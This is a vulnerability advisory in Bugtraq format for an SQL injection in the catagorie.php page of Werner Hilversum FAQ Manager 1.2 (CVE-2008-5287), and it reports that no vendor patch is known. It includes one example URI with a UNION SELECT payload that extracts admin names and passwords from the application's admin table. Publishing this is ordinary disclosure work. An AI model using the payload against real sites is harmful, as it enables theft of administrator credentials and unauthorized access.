Werner Hilversum FAQ Manager 'catagorie.php' SQL Injection Vulnerability

Bugtraq ID:	32466
Class:	Input Validation Error
CVE:	CVE-2008-5287
Remote:	Yes
Local:	No
Published:	Nov 25 2008 12:00AM
Updated:	May 07 2015 05:20PM
Credit:	cOndemned
Vulnerable:	Werner Hilversum FAQ Manager 1.2
Not Vulnerable:

Werner Hilversum FAQ Manager 'catagorie.php' SQL Injection Vulnerability

Werner Hilversum FAQ Manager is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

FAQ Manager 1.2 is vulnerable; other versions may also be affected.

Werner Hilversum FAQ Manager 'catagorie.php' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/[faq_manager_path]/catagorie.php?cat_id=3+union+select+1,2,concat_ws(0x3a,admin_name,admin_pass),4,5+from+faq_admin/*

Werner Hilversum FAQ Manager 'catagorie.php' SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Werner Hilversum FAQ Manager 'catagorie.php' SQL Injection Vulnerability

References:

• FAQ Manager Homepage (Werner Hilversum)